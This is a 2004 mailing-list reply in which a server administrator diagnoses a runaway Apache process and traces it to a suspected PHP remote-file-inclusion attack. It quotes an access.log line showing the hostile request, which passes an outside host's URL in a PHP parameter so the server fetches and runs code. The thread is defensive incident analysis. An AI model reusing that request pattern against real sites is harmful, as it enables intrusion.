Re: apache / exe process taking 99 % cpu
Am Wednesday, 1. September 2004 01:32 schrieb Marcin Owsiany:
> A DoS does not necessarily mean a lot of traffic byte-wise. Remember
> that it only takes 2 packets sent and one received to initiate a TCP
> connection. And creating a huge number of connections certainly can be
> considered a DoS.
You're right, I 'm sorry.
> > There's more interessting news:
> > As I stopped apache, the other apache proc immediately took port 443
> > and listened on it. A little while later also port 80 was in use. I
> > connected to both of them with a browser and with telnet but there
> > was no response.
> >
> > This fact made me think, that someone really hacked me, because port
> > 80 and 443 can only be opened with root permissions.
>
> Had the apache you shut down been listening on port 443?
Yes, actually I only wanted to restart it, and it didn't came up again. So
I took a look ...
> I suspect there is an exploit which somehow "infects" an apache process
> (probably by exploiting some PHP memory management bug) and takes over
> the port when apache shuts down. I say so because I have seen such
> situations two times myself, and there also was no other sign of the
> attacker gaining root access.
There is a thread on debian-user-german which also is about this problem.
Last message is from 23th and there was no clear solution. I asked for
there results, if they have any.
And what is more, from their talking I found an entry in my apache
error.log which leads me to the conclusion that some code was uploaded
to my box. The time of the two surrounding entries corresponds with the
starting of the high load.
apache error.log:
[Sun Aug 29 21:42:53 2004] [error.....
/tmp/dsadas: No such file or directory
[Sun Aug 29 21:52:50 2004] [error] ....
access.log around that time:
apache access.log:
142.176.141.5 - - [29/Aug/2004:21:51:47 +0200]
"GET /path/to/index.php?p=http://142.176.141.5:113/ HTTP/1.1" 200 2979
"-" "curl/7.10.3 (i686-pc-linux-gnu) libcurl/7.10.3 OpenSSL/0.9.7a
zlib/1.1.4"
The path is the same as the PWD env var, which I found
in /proc/<pid>/environ of the bad process. Now this together with your
description could maybe explain how it happen.
How can I genereally close this hole for now? I guess there is a setting
in php.ini or so. I will take a look at it.
TIA
Timo
Reply to: